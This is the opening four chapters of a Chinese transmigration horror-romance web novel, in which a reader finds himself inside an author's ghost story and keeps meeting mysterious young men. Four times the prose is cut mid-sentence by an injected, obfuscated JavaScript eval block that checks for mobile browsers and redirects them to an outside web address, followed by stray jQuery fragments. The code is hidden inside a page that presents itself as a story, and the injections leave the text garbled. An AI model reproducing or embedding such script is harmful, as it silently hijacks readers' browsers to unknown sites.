《读者穿书了，作者也穿了！》 1. 第一章 夜晚十点，高中放学铃响起时，伴随着各种嘈杂声，江时早“唰”地起身。 身形清瘦的男生迅速混入放学的人潮中，仿佛这样能让他稍微感到一定的安全与镇静…… ……镇静个鬼啊！ 江时早对自己的处境早已欲哭无泪。 无他，他现在所在的这个世界并不是他原本生活了二十二年的那个世界，而是一本书——他穿书了，穿的还是要命的灵异文。 此时江时早正混在人群里往校门外走，而这已经是他来到这个世界的第七天了。 这七天里，江时早坚定地贯彻了身为穿书者的修养——苟到了极致。 厕所是不能一个人进的，教室是不能一个人呆的，公交车绝不赶早也绝不搭最后一班，好奇心是一定不能有的，能混在人群中绝不落单……总而言之，苟住，坚决不作死。 秉着小心与谨慎，江时早战战兢兢的苟过了七天，还得多亏他十年来看各类型小说的经验。 ……所以说，谁能想到他一个已经毕业工作了一年的社畜，有朝一日会遇上穿书这种事啊！ 这种事情究竟是怎么发生的……？ 说来也巧，江时早穿的这本书，恰好还是他粉了十年的灵异小说家Abyss正在连载的新书《铃城》。 小说讲述了发生在铃城这座常年处在阴雨雾天中的城市里的各种灵异神怪事件，并以转学生主角“温枣”转入铃城高中作为开端。 好巧不巧，穿越后的江时早正好是铃城高中二年级的学生。但据他所知，现在铃城高中里并没有温枣这名转学生。 ……所以主角还没有出现。 但主角未出现，并不意味着铃城就是安全的！ 相反，正是因为主角的到来，随着主角处理的灵异事件增加，这座城市才逐渐安全了起来…… 穿越前，江时早刚好追到最新一章：‘温枣净化了徘徊于铃城高中三年二班教室中的灵魂执念，并与一片执念心意相通……’ ……所以他穿入这个世界，是触发了什么十年书粉大礼包吗？ 江时早心中苦哈哈。他真的一点也不想穿进Abyss写的灵异小说世界啊！但凡换个作者的书……比如他最近同时在追的某位明星作者的升级流大爽文。 ……就在这时，一阵突如其来的冷风扑灭了江时早差点飘远了的思绪。 江时早当即打起了十二分精神。此刻他人已经站在了公交车站牌下，等这一班车的人很多，大多是同校的学生。 人很多，这很好，而江时早的视线也并不敢乱晃，生怕自己看到了不该看的。 但忽然间，一只手拍上了江时早的肩膀，老实说，这吓了江时早一跳。 不过穿着高中校服的江时早并没有真的跳起来，他只是略显僵硬的偏过脑袋，旋即看见了一张不算陌生的笑脸。 是隔壁班的杨元青。“时早，今天下午看你脸色不太好，没事吧？” 杨元青这时又瞅了瞅江时早，借着站台的灯光，江时早的面色看起来更加透白了，“看起来还是不太好啊？” “我没事。”江时早见是学校里的朋友，已经松了口气，“车来了，我先走了。”他们俩不同路。 江时早的视野里已经可以看见开始减速的444路公交车了。 “行，那明早见。今晚好好休息啊时早，明早体育课时咱们一起打球。”杨元青约道，他们两个班的体育课都在早晨第二节。 江时早挥了挥手，应声之后告别了同学。等他安全抵达居住的小区外时，时间已经过去了四十五分钟。 现在这个时间点真不是一个安全的时段，但没有办法，铃城高中的晚自习结束时已经十点了，加上在公交车上的时间，回到小区差不多刚好深夜十一点。 说起来……他会这么快投入到铃城一名普通高中生的生活中，还是因为刚穿入这个书中世界时，脑海中的那道系统提示。 【「江时早」，恭喜你，你穿书了。你现在是铃城高中二年一班的学生，请维持一名高中生人设日常。】 “等等，铃城？！”那时江时早接收着脑子里如同放映电影般灌入的世界信息，表情差点崩开： “我穿的不会是Abyss正在写的那本新书吧——” 他心里其实多少已经有了答案，毕竟脑子里浮现的关于铃城的种种片段不正是《铃城》吗！ 【没错。】系统也给予了肯定。 “……”当时的江时早整个人就像是被雷劈了，又像是石化了，虽然大脑还没有停止运动，他问： “什么叫维持人设日常？” 这是Abyss的小说世界，换句话说，这是一个有灵异鬼怪的世界—— 【……上学？】 江时早：“……” “安全吗？” 【维持人设日常，安全。】 …… 一周前与系统的交流差不多就是这样。 就在江时早想要询问更多时，最重要的是他要怎么回去——脑子里的系统就像是信号受到了干扰一样，机械音断断续续的哔了一会儿，最后彻底没声了。 之后几天江时早再也没有成功唤出过系统。 “……” 系统的存在是许多穿书者的标配。系统前期故障的设定在小说里也很常见……江时早能理解，但这种设定一旦出现在自己身上，多少就让人有点忍不住想指天*一句了。 不过好在江时早维持人设按时上下课期间，他在铃城的生活确实还算稳定。 但也仅仅是稳定活着了。 此时此刻，江时早已经走入他居住的铃河小区。 夜黑风高，小区里亮着灯的住户不算多，江时早住在七单元14楼，进入小区后经过第一座花园右转最里侧那栋便是七单元。 说真的，虽然有路灯，但每晚经过这条路时，江时早的心脏还是会扑通扑通的狂跳。 黑夜会催化人类的想象力，周围静悄悄的，他看不见的身后会不会正跟着什么……每当这种时候，江时早总是很努力才能忍住回头的冲动！ 只要我不看，就不存在…… 江时早第一万遍在心里默念。 终于走到了七单元入口前，一鼓作气刷卡进入楼道，下一个关卡就是前方的电梯了。 ——电梯。灵异片居高不下的惊悚场所之一，集封闭与恐怖于一体，也是江时早每日至少经历两次的日常考验设施。 楼道里的感应灯因为人气而亮起，江时早正屏息向着电梯门走去。 此刻电梯的显示屏上正显示着数字22，这意味着江时早一会儿还需要等待电梯从二十二楼下行到一楼。 都是心理与精神层面的考验啊……走近的江时早按下了电梯上行键。然后开始等待。 这个过程中，他要控制自己的视线不乱看，同时还要用感官留意着一旁的消防通道。 居民楼的消防通道里常年昏暗，只有紧急出口的绿灯幽幽亮着。它的门从不封锁，那里也是通往整栋楼的楼梯入口。 “……”江时早承认自己的敏感与谨慎有时很内耗。 默默深呼吸的同时，忍不住又默念到了系统。 系统啊系统，你再不出来，我怕是苟不到曙光到来那一天了。 铃城生活的居民精神压力实在太大了。 还有温枣，你到底在哪里…… 显示屏上的数字在不断变小，万籁俱寂中，整个楼道只听见电梯平稳运行的机械声。 就在这时。 “吱呀——” 单元门打开的声音将原本的寂静打破，电梯前的江时早身形几不可见地抖了一下。 一道开门声。 一道关门声。 然后是脚步声。 ……很正常的脚步声。 进来的应该是人吧？所有声响都很正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完，温执见江时早似乎有些怔愣，他视线微垂，继续说道：“以往你都会来店里吃宵夜。还拜托我一定要给你多留几串关东煮，忽然间不来了，让人有些担心。” ……原来是这样吗？听着邻居耐心的解释，江时早心里有些微吃惊。 此时温执在江时早心中的形象又有了变化。眼前的邻居似乎更加立体了。 这是一位会关心江时早，给江时早留特定宵夜，在便利店工作的，英俊且声音悦耳的好心邻居。 江时早看向了温执。对方很高，离得近了，江时早才意识到眼前的邻居竟然比他高了近十公分。 他得微微仰着头，才能与对方对视。 江时早自己的个头不算低，净身高有一米八一。 而邻居的体形显然比他更优越……虽然不合时宜，但江时早对此有些天然的羡慕。 “抱……抱歉。明天，明晚我会去的。”……对了，到底是哪家便利店？小区附近有好几家铃城常见的便利店品牌。 江时早顿时有些苦恼，又不能直接问邻居。这会暴露其他的问题…… 不过按照邻居的说法，晚上回家时顺便去便利店似乎也是自己的高中生人设日常之一。 这么重要的人物相关信息，之前的系统影像中居然完全没有浮现！ 这不靠谱的系统！ 也就在这时，身旁的邻居温和的笑了一下，“好，我等你。” “我们便利店距离小区西门最近。” 西门又是离他们居住的七单元最近的一扇门，所以。 “你来的时候恰好是我现在换班的时间，以后我们能一起回家。” 温执侧身与江时早说道。 “好啊。”这一次，江时早应得很积极。 这也是他来到这个世界后难得感到雀跃的时刻了。 此时的江时早心中正想着：太好了，以后晚上不用一个人走夜路和乘电梯了。 2. 第二章 这一晚，江时早难得睡了一个安稳觉。 一夜无梦。 第二天去学校前，他顺路经过了邻居打工的便利店。 店里这会儿只有一位中年大叔在，江时早借着买肉包的空隙与看店大叔闲聊了几句。 等他咬着肉包离开便利店时，江时早已经收获了一条有效信息：邻居的姓名。 住在楼上的好心邻居姓温，叫温执。 便利店大叔的原话是这样的：‘喔喔，我记得你，你是温执的邻居。’ …… ‘对，小温晚上才来上班。’ …… ‘哪里哪里，还是你们学生辛苦啊。’ …… 离开便利店后，江时早在清晨人烟稀少的街道上走了大约两分钟，来到了最近的公交车站台。 等车时，他习惯性地抬头望了望天空。 铃城虽然常年阴天，但现在正值五月，他出门时天已经亮了小半。 而他今天的运气无疑很好。天空中云层很少，看着很纯净。 看起来就会是一个大晴天。 而在小说《铃城》的设定中，晴天也是主角难得休息的日子，因为在晴天，鬼怪们是不会出现的。 这就是官方设定的安全日啊。 江时早战战兢兢地度过了一周的阴天，终于迎来了穿书后的第一个晴天。 抱着这种又能苟过一天了的心情，江时早上车后习惯性地坐在了后排靠近车门的位置。 公交车上的人不多不少，前排坐着几个早起的爷爷奶奶。前面有一站会停靠在铃城南岸最大的公园外，爷爷奶奶们通常会在那一站下车。 江时早的后面则坐了两个穿着另一所学校校服的学生。 总体来说，整辆公交车上的人员组成非常正常。和今天的天气一样正常…… 但，这种想法仅维持了一站路。 当公交车停靠「南岸第13站」时，江时早的目光几乎是一瞬间就看见了站台上的那道身影—— 确认自己看见了什么的江时早瞳孔猛然一缩，接着便如同条件反射，他立刻收回了视线。 肾上腺素飞速拔高，短暂的反应时间后，江时早已经能听见自己心脏「砰砰砰」的响声了。 此刻他的视线紧紧地盯着手里的手机屏幕，额间渗出了一层薄薄的受惊后的冷汗。 怎么回事…… 外面是晴天，为什么站台上会站着一位披着长发，浑身湿透，全身上下仿佛都在往外溢水的女人。 女人脚边的地面已经湿了一片。 刚刚那一眼，江时早并没有看清女人的脸，但站台上的女子仿佛全身泡在了水里，她周身的氛围与外面的晴天格格不入。 她绝对不是普通人…… 江时早的胸腔打鼓。小说里并没有写到有关南岸第13站的故事。 铃城高中在铃城中心偏西位置，江时早去学校需要搭乘的444路公车，会从他所居住的南岸区域出发，在经过南岸大桥抵达城中心后，再往西经过两个站台，就会停靠在学校外。 而主角温枣转学来到铃城后就居住在铃城西岸。 江时早不知道作者Abyss之后会不会写与铃城南岸相关的剧情，但现在他脑子里肯定没有与南岸的灵异鬼怪们相关的讯息。 如果知道情节，他或许还能合理规避，但现在随着时间一秒一秒地过去，江时早只能期盼公交车再度发车，驶离南岸第13站。 ……到底为什么晴天也会出现鬼怪了，原书的设定已经无法约束这个世界了吗？ 江时早的内心因为自己的猜测而地震了一会。这种发展绝不乐观。 还有，444路公交车这一次停靠站台的时间是不是有些太久了。 江时早很快意识到了这个问题。 刚刚站台上明明没有几个人。除了那位仿佛从水里爬出来的存在，站台边只有零星的几个人影。 而站台上的铃城居民们显然完全没有注意到女人的存在。 随着时间推移，不妙的预感越来越强烈。 不知道是因为自己太过紧张的缘故，还是公交车上的温度真的降低了好几度，江时早在五月天里打了个寒颤，而他低垂的视线已经能够看见一滩出现在公交车过道上的水迹了。 一滩污黑浑浊的水迹正在过道上缓缓流淌。 跟着水迹一同移动的还有一双乌青的、布满诡异斑块的腿。 “！！！” 那一瞬间，江时早认清了自己的处境。 站台上的那只鬼怪真的上了这辆公交车！ 她的移动带动着地面上的那滩黑水，仿佛它们是一个整体。 此时此刻，坐在后方第一排座椅上的江时早早已纹丝不动。他不敢贸然抬头，只能通过低垂的视线判断女鬼的位置。 但当那滩黑水最终停在他身旁的过道中时，江时早轻微窒息了。 他的大脑几乎在疯转。转得比解高考数学大题时还要快。 ——她怎么停在我身边了？ 这不是真的吧。 等、等等，就在江时早疯狂横跳于是苟住别冲动，还是赶紧跳车跑路的选择间时，过道中那双腿的脚尖已经转向了他。 江时早忍不住了—— 她想做什么——？ 救命啊——！ 然后就在这时。 “早上好啊。” 悦耳的声音突兀闯入。 江时早整个人都懵了一秒。他刚刚手都快要抬起来了——差点儿就准备撑着窗沿，直接起身往打开的公交车窗外跳了。 但随着声音的响起，江时早看见一个穿着修身西装的年轻男子两步走到了他身旁的过道中，接着又十分自然地坐在了他身旁的空位上。 正是刚刚那道悦耳声音的主人。 ……就在几秒前，江时早都快以为女鬼要在同样的位置上坐下了。 而在年轻的西装男子坐好后，444路公交车终于再度启程，向着下一个站台驶去。 过道里没有了女鬼的身影。一切好像就发生在眨眼间，在西装男子出现后，地面以及车厢里的温度都恢复了正常。 而在江时早因情况的巨变发怔的数秒间，身旁的年轻男子已经偏头看向了他。 “好久不见啊，时早。”年轻男子熟稔地打招呼。 对了，对方刚刚好像就是在同他说“早上好”。 ……确认鬼怪危机暂时解除后，江时早平缓着自己的呼吸与心跳。 “早上好。”但他不是很摸得准自己与身旁青年的关系。甚至现在还有些懵。或者这就是劫后余生的感觉吧。 江时早看向青年。 对方的打扮像是已经步入社会的精英青年。五官相当清俊，很容易让人一眼产生好感。 江时早不经多看了一眼。虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660310|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不合时宜，但心里还是咋舌于铃城居民的平均颜值真高。 年轻男子正面露浅笑，他十分自然地与江时早闲聊起来：“公司派我出差一周。昨天才回铃城。” “对了，时早最近怎么样？” “我还好……”江时早嘴上答道。实际内心一阵凄苦无人诉说：不，他一点也不好。 年轻男子眯了眯眼，又不露痕迹地恢复了那股亲和感，“高中很辛苦吧？” “是啊。”江时早沉重地点了点头。 铃城高中根本就是全书故事的核心。说是灵异事件高发地，鬼怪大本营也不为过。 尽管江时早努力维持着一名普通高中生的人设，但这并不意味着他不会撞上那些灵异现象。 就比如刚刚出现在公交站台边的女鬼。类似的鬼怪和它们引发的灵异现象在铃城高中只多不少。 江时早唯一能做的就是靠维持人设来保证自己的安全。 ……并坚定地贯彻：不要乱看，不要作死，一定要苟住的信念。 就在这时，年轻男子说道：“我们公司也每天加班。晚上下班时已经没有公交车了。早晨又必须在八点之前赶到公司。”这道声音中带上了一丝苦笑。“早晨能和你说会话真的很愉快，时早。” 不知不觉间，身旁年轻男子已经将自身的信息透露的差不多了。 对方每天清晨会和江时早搭乘同一时段的444路公交车。江时早上车的站台是南岸第14站，年轻男子居住的公寓则在第13站附近。 久而久之，两人就成了在公交车上闲聊的搭子。 江时早恍然大悟，原来是这样啊。而身为曾经的社畜，江时早非常能共情身边的人。 对方的情况大概比他更惨，每天这么早就要去公司。至少江时早过去的公司要求是朝九打卡。但旁边年轻男子的作息甚至都快赶上他这个高中牲了。 就这样大约过了一刻钟。公交车平安地驶上了南岸大桥，江时早这时也大概确信之前的女鬼不会再出现了。 现在想起来，多亏了身边这位青年出现，女鬼才消失不见了。虽然江时早不确定其中的原理——可能是因为青年率先坐在了他身旁的位置上。 ……抢了座位吗？ 江时早为自己毫无依据的念头苦笑着摇了摇头。比起这种推测，他更愿意相信是身旁青年的活人生气驱散了鬼怪。 但不管怎么说，多亏了身旁这位年轻的上班族，他不用面对身旁坐着女鬼，或者跳车的极限二选一了。 话又说回来，铃城的居民真的都很热心。 不管是便利店上班的邻居，还是上学路上会遇见的上班族，他们给江时早的感官都非常好。 ……声音也都很好听。 而且身旁的青年还会给江时早分享各种各样的趣事。有工作上遇见的，也有社会生活中发生的。这对普通的高中生而言，非常调剂。 不怪两人能成为公交车搭子。 “对了，哥。”江时早不知道青年的名字，只好先唤了声哥。 但不知道是不是他的错觉，年轻男子的眼神好像忽然间变化了一下，那双亲和的眼眸在那一瞬间变得非常幽邃。 江时早怔了一下，再仔细看去时，青年眼中的情绪还是那样温润。 ……刚刚是幻觉吧。 在铃城生活了几天，整个人都有点紧绷了。 江时早在心中微微叹气。 3. 第三章 早晨七点十五，江时早站在了铃城高中的校门外。 现在正是学校出入口人流量最大的时段之一。 阳光，蓝天，白云，以及很多很多的人。 ……好吧，虽然晴天已经不是绝对安全的判断标准之一了，江时早还是在充满人气的校门前驻足了数秒。 人多还是会令人感到些许心安的。 之后江时早从口袋里摸出一张名片，在阳光下仔细看了一会儿。 深灰底色，黑白字体交替排列的名片上印着公司名：“铃城西岸SURREAL集团” 姓名：“温浅川” 职位：“高级建筑设计师” 电话：“TEL：188XXXX99”，以及名片主人的邮箱和公司地址等信息。 ……西岸SURREAL集团，温浅川，建筑设计师。 这是江时早的公交车搭子在江时早下车前递给他的名片。 当时的温浅川笑着同江时早说：“对了，时早，我升职了。这是我的新名片。看看。” 就这样，在下意识的社交礼仪下，接过名片的江时早几乎了解到了那位好心上班族的所有信息。包括电话号码。 “时早，上次你说过，你是一个人在铃城生活……所以如果有什么事的话，你也可以给我打电话。” 温浅川在江时早下车前对他说的最后一句话依旧亲切温和，语调中带着关心。 ……江时早觉得温浅川这兄弟人真不错。 最重要的是，有温浅川在，自己以后搭乘公交车似乎就有伴了……？虽然这么想很对不起早起加班的温浅川。 江时早在心里双手合十对着温浅川的形象连说了三遍“Sorry~”。 时间回到现在，江时早将名片收好后，向着高二一班所在的教学楼四楼走去。 路上惯例在脑海中呼唤了N遍系统……依旧没有收到任何反馈。 江时早心中叹气。叹完又打起了精神，今天也要凭借维持人设带来的相对安全模式，以及对小说已更新剧情的了解，好好的苟住！ 目前来说，自己苟得还算成功。 江时早脑中无时无刻不构思着一张学校的透视图，图上则标记着他需要重点回避的区域： 1.高三二班（有鬼） 2.教学楼天台（有鬼） 3.教学楼四楼的厕所（有鬼） 4.操场边的小树林（有鬼） …… 然后还有一些无法预测的看脸区域： 5.学校任何一条走廊（有游走鬼）（危险）（难以预测） 6.学校任何一条楼梯（随机刷出楼梯鬼）（危险）（看脸） ……等等等。 …… 总的来说，在系统暂时故障的日子里，虽然每天不断在总结苟命的求生守则，但还是有无法规避的情况发生。 这种时候，江时早通常会启动视而不见，以及视线回避战术。装做什么也看不见，尽可能自然地跟随身旁的同学悄然离场。 毕竟他只是铃城高中众多学子里的普通学生之一！他坚信不作死就不会死！ ……等等，已经走到了教学楼三楼半的江时早忽然感觉周围的气温又有些不对劲了。 江时早只停顿了半秒，接着便垂着视线从一个站在楼梯中央纹丝不动的“学生”身旁走过了。 那学生露在校服外的肤色是青灰色的。 …… 等江时早安全进入了教室，坐在了自己的座位上后，他的表情才稍微有了变化……目光有些许失焦。 这种日常见鬼的日子到底什么时候才是个头。 【系统，系统！你至少要告诉我该怎么回去再失踪吧！！！】 江时早心中哭喊。 他真的想回家了，他甚至都已经开始怀念自己在江城的社畜生活了呜。 ………… 江城，20X5年，4月14日。 文娱板块一条新闻：知名悬疑推理小说家Abyss的新书《铃城》已停更一周。据书迷反映…… 另一条新闻：昨日作者大会上，某知名影视剧改编大男主爽文作者笑谈Abyss新书强加感情戏崩盘，人现在指不定在哪儿失意呢……后续了解到Abyss的确未出席本次作者大会。 ………… 铃城高中。 高二一班的第一节课是语文课。穿来第一天，江时早就发现这个世界的教材跟他过去所学一样。 小说创作源于现实，超越现实……很合理。 所以当江时早被语文老师从足足有35人的班级中点名起来背课文时，他也没有特别意外……才怪！ 站起身的江时早深呼吸了一口气。 还好他早有准备。毕竟应系统提示维持人设，江时早这一周真的有很努力的在苟命的同时做一名普通高中生。 为的就是在遇上诸如此类情况时，不会因为表现不佳而触发什么不必要的情节。 江时早高中时成绩不错，大学也以优异绩点毕业于江城TOP1。巧合的是他现在的人设在书中世界的成绩也十分优异。 所以……在语文老师和蔼的目光下，站在教室第四列倒数第二排座位后方的俊秀男生，将那篇课文完完整整地背诵了出来。 “我去，还是你牛啊时早。” 江时早坐下时，听见坐在第五列靠窗边的隔壁桌同学的声音。 “张老师看你的眼神都要融化了。”林西压着声音和江时早说话。他的位置和江时早隔了一个过道。 铃城高中的教室布局几乎都是这样。 一个班级通常35人，一人配置一课桌，课桌分布成五列七排。一个教室里纵向有四条过道。教室后方则有为学生们准备的储物柜。 江时早对着林西笑了笑，刚好这时下课铃响起，下一节课是体育课，林西当即吆喝着一会儿打球。 “杨元青也一起。”江时早说。没有忘记来自隔壁班朋友的邀约。 杨元青是二班的，他们一班和二班的人都挺熟的。毕竟两个班时常一起上体育课。 “行啊。让他把二班那几个都叫上。”林西说着就想和同样已经站起身的江时早勾肩搭背的去操场了。 不过这肩还没搭上，林西脚底一滑，险些摔倒—— “不是……这是哪来的水啊？” 重新站稳了的林西瞪着教室过道上的那滩水渍，下意识又看了看天花板，喃声着，“没漏水啊。” 他拍了拍脑子，看向后排的另一人，“何天一，是不是你杯子里的水洒了！” 何天一个子高壮，就坐在林西后面，“老子都没杯子！那不是你这种精致高中生才用的玩意儿吗？” 眼看着两人就要掰扯起来，江时早已经快速反应过来，他只看了一眼横在他与林西之间地面上的水迹，无比确信这莫名其名出现的水来历不普通。 再开口时江时早语速都比平时快了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660311|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少：“我们快走吧。” 撞上这种异常现象必须迅速远离！ 但今天也不知道是怎么了，不仅大晴天接连遇上异常，体育课时，江时早在投球时竟然看见球框下吊了一个人—— 这一次江时早无可避免地与那吊着的“人”对视上了。那一瞬间，他感受到的时间似乎异常缓慢——比旁人都要缓慢。 当时的江时早已经起跳，准备投篮了。 所以意外发生时，球从江时早的手中脱离，而他也因为那一瞬间的重心不稳，身体向后摔去。 “时早！” 周围忽然响起了此起彼伏的声音，他还听见了同班的林西在叫他的名字。 不过江时早最终并没有迎来想象中的痛感，他甚至没有跌倒在地，而是撞入了一个有温度的怀抱。 ……短暂的时间里，江时早意识到自己可能被人接住了，在他彻底向后摔下去的前一刻，有人非常及时地接住了他。 林西已经几步跑到了江时早身前，“时早，你没事吧？扭伤脚没有？”说完他又看向江时早身后的高个子男生。 “你这家伙……是从哪里冒出来的？不过谢谢你啊。” 林西说着就想拉着江时早检查检查，没成想那个扶住江时早的人竟然又将时早往后拉了拉，使时早与其更贴近了。 “……？”因为对方的动作，林西看向了陌生男生还放在时早腰间的手，无端感觉哪里不太对劲。 “……我没事。”江时早这会儿已经回过神。 在确认吊在球框下的人已经不见了后，他回头对接住他的人道了声谢。 “谢谢你啊同学。” 要不是这个好心人接住了他，江时早指不定真的会扭伤脚，还会摔一地。 球场上其他人这会儿也都围了过来，杨元青同样看向了那个接住了江时早的人。 对方身高肯定有一米九，因为这人看上去都比何天一高了。 “你是？”杨元青有些摸不着头脑。 出现在球场上的陌生人并没有穿校服。他们也没有在学校里见过这个人。 对方穿着一身干净的白衬衫，浅灰色西裤，衬衫纽扣扣到了最上面那一颗。 看着那张异常英气的五官，众人这会儿几乎升起了同样的念头：如果这个人是铃城高中的学生，应该不会默默无闻。 这时，陌生男生开口了。 他垂眸看着江时早，轻声道：“小心一点，别受伤了。” …… ——卧槽。陌生的声音响起时，一旁的林西反应最大。他甚至被这人的声音刺激的打了个战栗。 不仅是他，周围不少人都在白衬衫男生说话时恍惚了一下。 等等，这人……这人到底是谁啊！他怎么跟时早说话的呢……他说话……说话的声音怎么会这么好听！他们这个年龄段的人能有这种声线吗？不是哥们你是不是夹了？ 不知情的还以为是在和情人耳语呢。 篮球场上忽然沉默了一片。 江时早也觉得这个男生的声音有些好听，有种磁性的温柔，他下意识回道：“好，好的。” 旋即他看见对方朝他笑了笑。 阳光下，眼前的好心人笑着与他说：“你好，我是新来的转学生。” “转……”转学生——？！ 听到这段自白，江时早忽然就站直了！ 再看向白衬衫男生时，他的眼睛都亮了。 转学生！ 4. 第四章 铃城的故事随着转学生温枣的到来而展开。 正因为清楚这一点，江时早在听见眼前的人介绍自己的身份是转学生时，他的反应才显得有些许激动。 而只有他自己知道自己心里到底有多激动！ 江时早甚至都已经畅想了一幅，温枣将故事走到结尾后，自己也穿回现实世界的画面了。 而且温枣到来后，铃城会越来越安全！毕竟温枣能够净化鬼魂！ 此刻，江时早的心脏砰砰砰的有力跳动着，脑子里全是学校就要安全起来了这条讯息。 “转学生？” 之前打球的同学这会儿也因为转学生三个字升起了一点好奇。 转学生啊。他是从哪里转来的？会去哪个班级？因为什么转学？ ……啧，长成这样，指不定会在学校里引起什么骚动。这种衬衫搭西裤的穿搭，在一群穿着体育课运动衫的男生中显得格外的斯文优雅。 ……这人看着很装啊。 好些男生看向转学生的视线中已经有了几分同性间的天然竞意与挑衅。 江时早则和其他人的关注点完全不一样，他看着自己身前的转身学，说话时语调都有了些微不同：“你……你叫什么名字？” 而他不知道的是，他此刻的眼眸亮晶晶的，落在他人眼中，很像一种会眼巴巴的望着饲养者的毛绒生物。 …… “温序。”在江时早望向他时，转学生的声音更加温柔了，他说，“我叫温序。” 听见这个名字，江时早愣住了。 ……温序？不是温枣……？ 这时，温序的视线似漫不经心地扫了眼周围，再落回江时早身上时，这道目光又恢复如常，他温谦有礼，颇能收获老实人的好感：“你叫时早吗？你好，时早。” 温序说着向江时早伸出了右手。这是一个看上去极为普通的展示友好的信号。 “我……”江时早这时还没有从转学生的名字竟然不是“温枣”这件事的震惊中缓过来。 不过看着身前的手，江时早下意识地礼貌握住了。 温序眼眸微眯，像是没有注意到江时早的心神不宁。 “那个……你叫温序？哪个序？”江时早似乎还不死心。 ……真的不是“枣”吗？ 但温序十分体贴，他一点也不介意，反而极为有耐心地回答道：“温风吹絮绕江城的温——” 那之后，他语调一顿，才道：“序发南河暮，春来上林早的序。” 说完，温序又十分体贴的补充了一句：“序言的序。” 然后周围就响起了莫名其妙的“嘶”声。 …… 林西这会儿已经又一次地瞪圆了眼睛。他看着转学生，欲言又止……不是哥们，不就是序言的序吗？所以你搁那前面念的两句诗有必要吗？ ……孔雀开屏？Strong？ 此刻周围的男生大多都抱着和林西相同的想法。并且他们发现，不知道从何时起，操场周围已经聚集了好一些与他们同班的学生。 而女生们的视线大多落在了转学生和江时早身上。 见此情景，球场上的人无不心生出类似想法，好吧，大家来看时早当然没问题，时早的人缘本来就很好……人也很好。 但是这个转学生—— 这个很装的吸引了众人注意的转学生，虽然身高是比他们时早高，但论相貌，肯定还是他们时早更好看，更精致！ 所以最后，高二一班与二班的男生们莫名达成了统一战线。他们一致认为此刻操场周围的情形都是因为眼前这个转学生太装了引起的！ 球场边，几个二班的女生正将脑袋凑在一起，似乎正讨论着什么。她们脸颊微红，眼中闪烁着不知名的兴奋的光，视线则时不时地在转学生和江时早的身上来回。 球场上的人都能听见她们的笑声了！ 尽管这笑声的调子似乎有些古怪。平均直男的铃城男高们无法理解，但竞争的矛头仍旧指向了转学生。 此时江时早仍与温序对视着。或许是因为对方的目光始终停留在他的身上，出于礼貌，江时早也没有移开视线。 直到一道声音插了进来。 “温序是吧。” 这道嗓音十分成熟，江时早下意识看向了声音来源。也就没有留意到，当他视线离开时，他身前这位在他看来十分好性格的转学生眼中，那一瞬间的幽暗溢满了双眸。 江时早这时已经看向了从另一侧操场边走来的高个男子。 对方的身形也十分优越，江时早几乎一眼就注意到了他。 不仅是他，球场或周围的人此刻几乎都看向了来人。 那人身着一套得体的杏色西装，深棕领带，皮鞋是复古的牛津鞋设计，西装外面还披着一件白大褂。乍眼看去时，会以为是哪所科研机构里走出来的高智商科学家。 因为来人的鼻梁上还架着一副十足斯文的金边眼镜。 智息太强了。 江时早回神时，他已经盯着对方有数秒时间了。 ……学校里怎么会有这样的人？ ……应该不会是化学老师吧？江时早不确定地想着。不过一定要说的话，对方看起来更像是高校里的理学教授。 刚刚说话的正是这位已经走到了他们身前的白大褂先生。 江时早先是看见对方朝他温和地笑了一下，旋即又听见那道成熟的嗓音再次响起，不过这一次，声音的主人面向了转学生温序。 “新来的转学生是吧。去副校长的办公室报道吧。你的班主任已经在那里等候多时了。” “哦，是吗？” 明明听起来是很寻常的对话。但对话的两人谁都没有动作。 温序并没有应声去办公室，白大卦先生也没有离开。 气氛一下子僵持了起来。 电光火石间，江时早隐约察觉到了危险的气息。 他似乎还听见白大褂先生轻笑了一声。 而在这种莫名的沉默中，操场边又传来了阵阵的小声尖叫。 ……这是什么情况？ 就在江时早既懵圈又警觉时，这时，一道身影匆匆来到了操场上。 “温序同学，请你跟我来。”来人正是高二一班的班主任李老师。 林西这时用他和江时早能听见的声音小声开口道：“我去，是老李。难不成新来的转学生要转到我们班来吗？” 温序这时也已收回视线，他再次看向江时早，声音依旧温柔：“时早，一会见。” “一会见。”江时早回眸应声。 温序又对江时早笑了一下，那之后他才转向高二一班的班主任，此刻他的声线已经平淡了不少：“老师，带路吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660312|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 